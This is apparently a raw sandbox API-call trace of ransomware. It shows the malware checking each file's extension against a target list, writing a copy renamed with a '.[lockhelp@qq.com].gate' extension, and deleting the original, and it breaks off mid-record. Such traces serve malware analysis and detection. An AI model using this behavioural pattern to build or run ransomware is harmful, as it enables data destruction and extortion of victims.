1 [0112.122] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\1041\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1041\\eula.rtf")) returned 1 [0112.122] lstrlenW (lpString="C:\\588bce7c90097ed212\\1041\\eula.rtf") returned 35 [0112.122] lstrlenW (lpString="C:\\588bce7c90097ed212\\1041\\eula.rtf") returned 35 [0112.122] lstrlenW (lpString=".doc") returned 4 [0112.122] lstrcmpiW (lpString1=".doc", lpString2=".rtf") returned -1 [0112.123] lstrlenW (lpString=".docx") returned 5 [0112.123] lstrcmpiW (lpString1=".docx", lpString2="a.rtf") returned -1 [0112.123] lstrlenW (lpString=".pdf") returned 4 [0112.123] lstrcmpiW (lpString1=".pdf", lpString2=".rtf") returned -1 [0112.123] lstrlenW (lpString=".xls") returned 4 [0112.123] lstrcmpiW (lpString1=".xls", lpString2=".rtf") returned 1 [0112.123] lstrlenW (lpString=".xlsx") returned 5 [0112.123] lstrcmpiW (lpString1=".xlsx", lpString2="a.rtf") returned -1 [0112.123] lstrlenW (lpString=".ppt") returned 4 [0112.123] lstrcmpiW (lpString1=".ppt", lpString2=".rtf") returned -1 [0112.123] lstrlenW (lpString="C:\\588bce7c90097ed212\\1041\\eula.rtf") returned 35 [0112.123] lstrlenW (lpString=".zip") returned 4 [0112.123] lstrcmpiW (lpString1=".zip", lpString2=".rtf") returned 1 [0112.123] lstrlenW (lpString=".rar") returned 4 [0112.123] lstrcmpiW (lpString1=".rar", lpString2=".rtf") returned -1 [0112.123] lstrlenW (lpString=".bz2") returned 4 [0112.123] lstrcmpiW (lpString1=".bz2", lpString2=".rtf") returned -1 [0112.123] lstrlenW (lpString=".7z") returned 3 [0112.123] lstrcmpiW (lpString1=".7z", lpString2="rtf") returned -1 [0112.123] lstrlenW (lpString="C:\\588bce7c90097ed212\\1041\\eula.rtf") returned 35 [0112.123] lstrlenW (lpString=".dbf") returned 4 [0112.123] lstrcmpiW (lpString1=".dbf", lpString2=".rtf") returned -1 [0112.123] lstrlenW (lpString="C:\\588bce7c90097ed212\\1041\\eula.rtf") returned 35 [0112.123] lstrlenW (lpString=".1cd") returned 4 [0112.123] lstrcmpiW (lpString1=".1cd", lpString2=".rtf") returned -1 [0112.123] lstrlenW (lpString="C:\\588bce7c90097ed212\\1041\\eula.rtf") returned 35 [0112.123] lstrlenW (lpString=".jpg") returned 4 [0112.124] lstrcmpiW (lpString1=".jpg", lpString2=".rtf") returned -1 [0112.124] lstrlenW (lpString="C:\\588bce7c90097ed212\\1041\\eula.rtf") returned 35 [0112.124] lstrlenW (lpString="C:\\588bce7c90097ed212\\1041\\eula.rtf") returned 35 [0112.124] lstrlenW (lpString=".doc") returned 4 [0112.124] lstrcmpiW (lpString1=".doc", lpString2=".rtf") returned -1 [0112.124] lstrlenW (lpString=".docx") returned 5 [0112.124] lstrcmpiW (lpString1=".docx", lpString2="a.rtf") returned -1 [0112.124] lstrlenW (lpString=".pdf") returned 4 [0112.124] lstrcmpiW (lpString1=".pdf", lpString2=".rtf") returned -1 [0112.124] lstrlenW (lpString=".xls") returned 4 [0112.124] lstrcmpiW (lpString1=".xls", lpString2=".rtf") returned 1 [0112.124] lstrlenW (lpString=".xlsx") returned 5 [0112.124] lstrcmpiW (lpString1=".xlsx", lpString2="a.rtf") returned -1 [0112.124] lstrlenW (lpString=".ppt") returned 4 [0112.124] lstrcmpiW (lpString1=".ppt", lpString2=".rtf") returned -1 [0112.124] lstrlenW (lpString="C:\\588bce7c90097ed212\\1041\\eula.rtf") returned 35 [0112.124] lstrlenW (lpString=".zip") returned 4 [0112.124] lstrcmpiW (lpString1=".zip", lpString2=".rtf") returned 1 [0112.124] lstrlenW (lpString=".rar") returned 4 [0112.124] lstrcmpiW (lpString1=".rar", lpString2=".rtf") returned -1 [0112.124] lstrlenW (lpString=".bz2") returned 4 [0112.124] lstrcmpiW (lpString1=".bz2", lpString2=".rtf") returned -1 [0112.124] lstrlenW (lpString=".7z") returned 3 [0112.124] lstrcmpiW (lpString1=".7z", lpString2="rtf") returned -1 [0112.124] lstrlenW (lpString="C:\\588bce7c90097ed212\\1041\\eula.rtf") returned 35 [0112.124] lstrlenW (lpString=".dbf") returned 4 [0112.124] lstrcmpiW (lpString1=".dbf", lpString2=".rtf") returned -1 [0112.125] lstrlenW (lpString="C:\\588bce7c90097ed212\\1041\\eula.rtf") returned 35 [0112.125] lstrlenW (lpString=".1cd") returned 4 [0112.125] lstrcmpiW (lpString1=".1cd", lpString2=".rtf") returned -1 [0112.125] lstrlenW (lpString="C:\\588bce7c90097ed212\\1041\\eula.rtf") returned 35 [0112.125] lstrlenW (lpString=".jpg") returned 4 [0112.125] lstrcmpiW (lpString1=".jpg", lpString2=".rtf") returned -1 [0112.125] lstrcmpiW (lpString1=".xml", lpString2=".gate") returned 1 [0112.125] lstrlenW (lpString="LocalizedData.xml") returned 17 [0112.125] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1041\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1041\\localizeddata.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320 [0112.125] GetFileSizeEx (in: hFile=0x320, lpFileSize=0x376ff14 | out: lpFileSize=0x376ff14*=68226) returned 1 [0112.125] CloseHandle (hObject=0x320) returned 1 [0112.125] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1041\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1041\\localizeddata.xml")) returned 0x80 [0112.125] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1041\\LocalizedData.xml.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\588bce7c90097ed212\\1041\\localizeddata.xml.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0112.126] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1041\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1041\\localizeddata.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320 [0112.126] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0112.126] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0112.126] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1041\\LocalizedData.xml.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\588bce7c90097ed212\\1041\\localizeddata.xml.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c0 [0112.126] GetLastError () returned 0x0 [0112.126] ReadFile (in: hFile=0x320, lpBuffer=0x4135020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x376fecc, lpOverlapped=0x0 | out: lpBuffer=0x4135020*, lpNumberOfBytesRead=0x376fecc*=0x10a82, lpOverlapped=0x0) returned 1 [0112.397] WriteFile (in: hFile=0x2c0, lpBuffer=0x4135020*, nNumberOfBytesToWrite=0x10a90, lpNumberOfBytesWritten=0x376fc94, lpOverlapped=0x0 | out: lpBuffer=0x4135020*, lpNumberOfBytesWritten=0x376fc94*=0x10a90, lpOverlapped=0x0) returned 1 [0112.399] ReadFile (in: hFile=0x320, lpBuffer=0x4135020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x376fecc, lpOverlapped=0x0 | out: lpBuffer=0x4135020*, lpNumberOfBytesRead=0x376fecc*=0x0, lpOverlapped=0x0) returned 1 [0112.399] WriteFile (in: hFile=0x2c0, lpBuffer=0x4135020*, nNumberOfBytesToWrite=0xf6, lpNumberOfBytesWritten=0x376fc94, lpOverlapped=0x0 | out: lpBuffer=0x4135020*, lpNumberOfBytesWritten=0x376fc94*=0xf6, lpOverlapped=0x0) returned 1 [0112.399] SetEndOfFile (hFile=0x2c0) returned 1 [0112.399] CloseHandle (hObject=0x2c0) returned 1 [0112.406] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0112.406] SetEndOfFile (hFile=0x320) returned 1 [0112.408] CloseHandle (hObject=0x320) returned 1 [0112.408] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1041\\LocalizedData.xml.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x80) returned 1 [0112.408] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\1041\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1041\\localizeddata.xml")) returned 1 [0112.409] lstrlenW (lpString="C:\\588bce7c90097ed212\\1041\\LocalizedData.xml") returned 44 [0112.409] lstrlenW (lpString="C:\\588bce7c90097ed212\\1041\\LocalizedData.xml") returned 44 [0112.409] lstrlenW (lpString=".doc") returned 4 [0112.409] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0112.409] lstrlenW (lpString=".docx") returned 5 [0112.409] lstrcmpiW (lpString1=".docx", lpString2="a.xml") returned -1 [0112.409] lstrlenW (lpString=".pdf") returned 4 [0112.409] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0112.409] lstrlenW (lpString=".xls") returned 4 [0112.409] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0112.409] lstrlenW (lpString=".xlsx") returned 5 [0112.409] lstrcmpiW (lpString1=".xlsx", lpString2="a.xml") returned -1 [0112.409] lstrlenW (lpString=".ppt") returned 4 [0112.409] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0112.409] lstrlenW (lpString="C:\\588bce7c90097ed212\\1041\\LocalizedData.xml") returned 44 [0112.409] lstrlenW (lpString=".zip") returned 4 [0112.409] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0112.409] lstrlenW (lpString=".rar") returned 4 [0112.409] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0112.409] lstrlenW (lpString=".bz2") returned 4 [0112.409] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0112.409] lstrlenW (lpString=".7z") returned 3 [0112.409] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0112.409] lstrlenW (lpString="C:\\588bce7c90097ed212\\1041\\LocalizedData.xml") returned 44 [0112.409] lstrlenW (lpString=".dbf") returned 4 [0112.409] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0112.410] lstrlenW (lpString="C:\\588bce7c90097ed212\\1041\\LocalizedData.xml") returned 44 [0112.410] lstrlenW (lpString=".1cd") returned 4 [0112.410] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0112.410] lstrlenW (lpString="C:\\588bce7c90097ed212\\1041\\LocalizedData.xml") returned 44 [0112.410] lstrlenW (lpString=".jpg") returned 4 [0112.410] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0112.410] lstrlenW (lpString="C:\\588bce7c90097ed212\\1041\\LocalizedData.xml") returned 44 [0112.410] lstrlenW (lpString="C:\\588bce7c90097ed212\\1041\\LocalizedData.xml") returned 44 [0112.410] lstrlenW (lpString=".doc") returned 4 [0112.410] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0112.410] lstrlenW (lpString=".docx") returned 5 [0112.410] lstrcmpiW (lpString1=".docx", lpString2="a.xml") returned -1 [0112.410] lstrlenW (lpString=".pdf") returned 4 [0112.410] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0112.410] lstrlenW (lpString=".xls") returned 4 [0112.410] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0112.410] lstrlenW (lpString=".xlsx") returned 5 [0112.410] lstrcmpiW (lpString1=".xlsx", lpString2="a.xml") returned -1 [0112.410] lstrlenW (lpString=".ppt") returned 4 [0112.410] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0112.410] lstrlenW (lpString="C:\\588bce7c90097ed212\\1041\\LocalizedData.xml") returned 44 [0112.410] lstrlenW (lpString=".zip") returned 4 [0112.410] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0112.410] lstrlenW (lpString=".rar") returned 4 [0112.410] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0112.411] lstrlenW (lpString=".bz2") returned 4 [0112.411] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0112.411] lstrlenW (lpString=".7z") returned 3 [0112.411] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0112.411] lstrlenW (lpString="C:\\588bce7c90097ed212\\1041\\LocalizedData.xml") returned 44 [0112.411] lstrlenW (lpString=".dbf") returned 4 [0112.411] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0112.411] lstrlenW (lpString="C:\\588bce7c90097ed212\\1041\\LocalizedData.xml") returned 44 [0112.411] lstrlenW (lpString=".1cd") returned 4 [0112.411] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0112.411] lstrlenW (lpString="C:\\588bce7c90097ed212\\1041\\LocalizedData.xml") returned 44 [0112.411] lstrlenW (lpString=".jpg") returned 4 [0112.411] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0112.411] lstrcmpiW (lpString1=".xml", lpString2=".gate") returned 1 [0112.411] lstrlenW (lpString="LocalizedData.xml") returned 17 [0112.411] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1043\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1043\\localizeddata.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320 [0112.412] GetFileSizeEx (in: hFile=0x320, lpFileSize=0x376ff14 | out: lpFileSize=0x376ff14*=79634) returned 1 [0112.412] CloseHandle (hObject=0x320) returned 1 [0112.412] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1043\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1043\\localizeddata.xml")) returned 0x80 [0112.412] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1043\\LocalizedData.xml.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\588bce7c90097ed212\\1043\\localizeddata.xml.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0112.412] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1043\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1043\\localizeddata.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320 [0112.412] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0112.412] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0112.412] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1043\\LocalizedData.xml.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\588bce7c90097ed212\\1043\\localizeddata.xml.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c0 [0112.413] GetLastError () returned 0x0 [0112.413] ReadFile (in: hFile=0x320, lpBuffer=0x4135020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x376fecc, lpOverlapped=0x0 | out: lpBuffer=0x4135020*, lpNumberOfBytesRead=0x376fecc*=0x13712, lpOverlapped=0x0) returned 1 [0112.998] WriteFile (in: hFile=0x2c0, lpBuffer=0x4135020*, nNumberOfBytesToWrite=0x13720, lpNumberOfBytesWritten=0x376fc94, lpOverlapped=0x0 | out: lpBuffer=0x4135020*, lpNumberOfBytesWritten=0x376fc94*=0x13720, lpOverlapped=0x0) returned 1 [0113.000] ReadFile (in: hFile=0x320, lpBuffer=0x4135020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x376fecc, lpOverlapped=0x0 | out: lpBuffer=0x4135020*, lpNumberOfBytesRead=0x376fecc*=0x0, lpOverlapped=0x0) returned 1 [0113.000] WriteFile (in: hFile=0x2c0, lpBuffer=0x4135020*, nNumberOfBytesToWrite=0xf6, lpNumberOfBytesWritten=0x376fc94, lpOverlapped=0x0 | out: lpBuffer=0x4135020*, lpNumberOfBytesWritten=0x376fc94*=0xf6, lpOverlapped=0x0) returned 1 [0113.000] SetEndOfFile (hFile=0x2c0) returned 1 [0113.000] CloseHandle (hObject=0x2c0) returned 1 [0113.003] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0113.003] SetEndOfFile (hFile=0x320) returned 1 [0113.005] CloseHandle (hObject=0x320) returned 1 [0113.005] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1043\\LocalizedData.xml.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x80) returned 1 [0113.005] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\1043\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1043\\localizeddata.xml")) returned 1 [0113.005] lstrlenW (lpString="C:\\588bce7c90097ed212\\1043\\LocalizedData.xml") returned 44 [0113.005] lstrlenW (lpString="C:\\588bce7c90097ed212\\1043\\LocalizedData.xml") returned 44 [0113.005] lstrlenW (lpString=".doc") returned 4 [0113.005] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0113.005] lstrlenW (lpString=".docx") returned 5 [0113.005] lstrcmpiW (lpString1=".docx", lpString2="a.xml") returned -1 [0113.005] lstrlenW (lpString=".pdf") returned 4 [0113.005] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0113.005] lstrlenW (lpString=".xls") returned 4 [0113.005] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0113.005] lstrlenW (lpString=".xlsx") returned 5 [0113.005] lstrcmpiW (lpString1=".xlsx", lpString2="a.xml") returned -1 [0113.006] lstrlenW (lpString=".ppt") returned 4 [0113.006] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0113.006] lstrlenW (lpString="C:\\588bce7c90097ed212\\1043\\LocalizedData.xml") returned 44 [0113.006] lstrlenW (lpString=".zip") returned 4 [0113.006] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0113.006] lstrlenW (lpString=".rar") returned 4 [0113.006] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0113.006] lstrlenW (lpString=".bz2") returned 4 [0113.006] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0113.006] lstrlenW (lpString=".7z") returned 3 [0113.006] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0113.006] lstrlenW (lpString="C:\\588bce7c90097ed212\\1043\\LocalizedData.xml") returned 44 [0113.006] lstrlenW (lpString=".dbf") returned 4 [0113.006] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0113.006] lstrlenW (lpString="C:\\588bce7c90097ed212\\1043\\LocalizedData.xml") returned 44 [0113.006] lstrlenW (lpString=".1cd") returned 4 [0113.006] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0113.006] lstrlenW (lpString="C:\\588bce7c90097ed212\\1043\\LocalizedData.xml") returned 44 [0113.006] lstrlenW (lpString=".jpg") returned 4 [0113.006] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0113.006] lstrlenW (lpString="C:\\588bce7c90097ed212\\1043\\LocalizedData.xml") returned 44 [0113.006] lstrlenW (lpString="C:\\588bce7c90097ed212\\1043\\LocalizedData.xml") returned 44 [0113.006] lstrlenW (lpString=".doc") returned 4 [0113.006] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0113.006] lstrlenW (lpString=".docx") returned 5 [0113.006] lstrcmpiW (lpString1=".docx", lpString2="a.xml") returned -1 [0113.006] lstrlenW (lpString=".pdf") returned 4 [0113.006] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0113.006] lstrlenW (lpString=".xls") returned 4 [0113.006] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0113.006] lstrlenW (lpString=".xlsx") returned 5 [0113.006] lstrcmpiW (lpString1=".xlsx", lpString2="a.xml") returned -1 [0113.007] lstrlenW (lpString=".ppt") returned 4 [0113.007] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0113.007] lstrlenW (lpString="C:\\588bce7c90097ed212\\1043\\LocalizedData.xml") returned 44 [0113.007] lstrlenW (lpString=".zip") returned 4 [0113.007] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0113.007] lstrlenW (lpString=".rar") returned 4 [0113.007] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0113.007] lstrlenW (lpString=".bz2") returned 4 [0113.007] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0113.007] lstrlenW (lpString=".7z") returned 3 [0113.007] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0113.007] lstrlenW (lpString="C:\\588bce7c90097ed212\\1043\\LocalizedData.xml") returned 44 [0113.007] lstrlenW (lpString=".dbf") returned 4 [0113.007] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0113.007] lstrlenW (lpString="C:\\588bce7c90097ed212\\1043\\LocalizedData.xml") returned 44 [0113.007] lstrlenW (lpString=".1cd") returned 4 [0113.007] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0113.007] lstrlenW (lpString="C:\\588bce7c90097ed212\\1043\\LocalizedData.xml") returned 44 [0113.007] lstrlenW (lpString=".jpg") returned 4 [0113.007] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0113.007] lstrcmpiW (lpString1=".xml", lpString2=".gate") returned 1 [0113.007] lstrlenW (lpString="LocalizedData.xml") returned 17 [0113.007] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1046\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1046\\localizeddata.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320 [0113.007] GetFileSizeEx (in: hFile=0x320, lpFileSize=0x376ff14 | out: lpFileSize=0x376ff14*=80738) returned 1 [0113.008] CloseHandle (hObject=0x320) returned 1 [0113.009] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1046\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1046\\localizeddata.xml")) returned 0x80 [0113.009] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1046\\LocalizedData.xml.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\588bce7c90097ed212\\1046\\localizeddata.xml.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0113.009] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1046\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1046\\localizeddata.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320 [0113.009] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0113.009] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0113.010] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1046\\LocalizedData.xml.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\588bce7c90097ed212\\1046\\localizeddata.xml.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c0 [0113.010] GetLastError () returned 0x0 [0113.010] ReadFile (in: hFile=0x320, lpBuffer=0x4135020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x376fecc, lpOverlapped=0x0 | out: lpBuffer=0x4135020*, lpNumberOfBytesRead=0x376fecc*=0x13b62, lpOverlapped=0x0) returned 1 [0113.129] WriteFile (in: hFile=0x2c0, lpBuffer=0x4135020*, nNumberOfBytesToWrite=0x13b70, lpNumberOfBytesWritten=0x376fc94, lpOverlapped=0x0 | out: lpBuffer=0x4135020*, lpNumberOfBytesWritten=0x376fc94*=0x13b70, lpOverlapped=0x0) returned 1 [0113.135] ReadFile (in: hFile=0x320, lpBuffer=0x4135020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x376fecc, lpOverlapped=0x0 | out: lpBuffer=0x4135020*, lpNumberOfBytesRead=0x376fecc*=0x0, lpOverlapped=0x0) returned 1 [0113.136] WriteFile (in: hFile=0x2c0, lpBuffer=0x4135020*, nNumberOfBytesToWrite=0xf6, lpNumberOfBytesWritten=0x376fc94, lpOverlapped=0x0 | out: lpBuffer=0x4135020*, lpNumberOfBytesWritten=0x376fc94*=0xf6, lpOverlapped=0x0) returned 1 [0113.136] SetEndOfFile (hFile=0x2c0) returned 1 [0113.136] CloseHandle (hObject=0x2c0) returned 1 [0113.138] SetFilePointerEx (in: hFile=0x320, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0113.138] SetEndOfFile (hFile=0x320) returned 1 [0113.139] CloseHandle (hObject=0x320) returned 1 [0113.140] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1046\\LocalizedData.xml.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x80) returned 1 [0113.140] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\1046\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1046\\localizeddata.xml")) returned 1 [0113.140] lstrlenW (lpString="C:\\588bce7c90097ed212\\1046\\LocalizedData.xml") returned 44 [0113.140] lstrlenW (lpString="C:\\588bce7c90097ed212\\1046\\LocalizedData.xml") returned 44 [0113.140] lstrlenW (lpString=".doc") returned 4 [0113.140] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0113.140] lstrlenW (lpString=".docx") returned 5 [0113.140] lstrcmpiW (lpString1=".docx", lpString2="a.xml") returned -1 [0113.140] lstrlenW (lpString=".pdf") returned 4 [0113.140] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0113.140] lstrlenW (lpString=".xls") returned 4 [0113.141] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0113.141] lstrlenW (lpString=".xlsx") returned 5 [0113.141] lstrcmpiW (lpString1=".xlsx", lpString2="a.xml") returned -1 [0113.141] lstrlenW (lpString=".ppt") returned 4 [0113.141] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0113.141] lstrlenW (lpString="C:\\588bce7c90097ed212\\1046\\LocalizedData.xml") returned 44 [0113.141] lstrlenW (lpString=".zip") returned 4 [0113.141] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0113.141] lstrlenW (lpString=".rar") returned 4 [0113.141] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0113.141] lstrlenW (lpString=".bz2") returned 4 [0113.141] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0113.141] lstrlenW (lpString=".7z") returned 3 [0113.141] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0113.141] lstrlenW (lpString="C:\\588bce7c90097ed212\\1046\\LocalizedData.xml") returned 44 [0113.141] lstrlenW (lpString=".dbf") returned 4 [0113.141] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0113.141] lstrlenW (lpString="C:\\588bce7c90097ed212\\1046\\LocalizedData.xml") returned 44 [0113.141] lstrlenW (lpString=".1cd") returned 4 [0113.141] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0113.142] lstrlenW (lpString="C:\\588bce7c90097ed212\\1046\\LocalizedData.xml") returned 44 [0113.142] lstrlenW (lpString=".jpg") returned 4 [0113.142] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0113.142] lstrlenW (lpString="C:\\588bce7c90097ed212\\1046\\LocalizedData.xml") returned 44 [0113.142] lstrlenW (lpString="C:\\588bce7c90097ed212\\1046\\LocalizedData.xml") returned 44 [0113.142] lstrlenW (lpString=".doc") returned 4 [0113.142] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0113.142] lstrlenW (lpString=".docx") returned 5 [0113.142] lstrcmpiW (lpString1=".docx", lpString2="a.xml") returned -1 [0113.142] lstrlenW (lpString=".pdf") returned 4 [0113.142] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0113.142] lstrlenW (lpString=".xls") 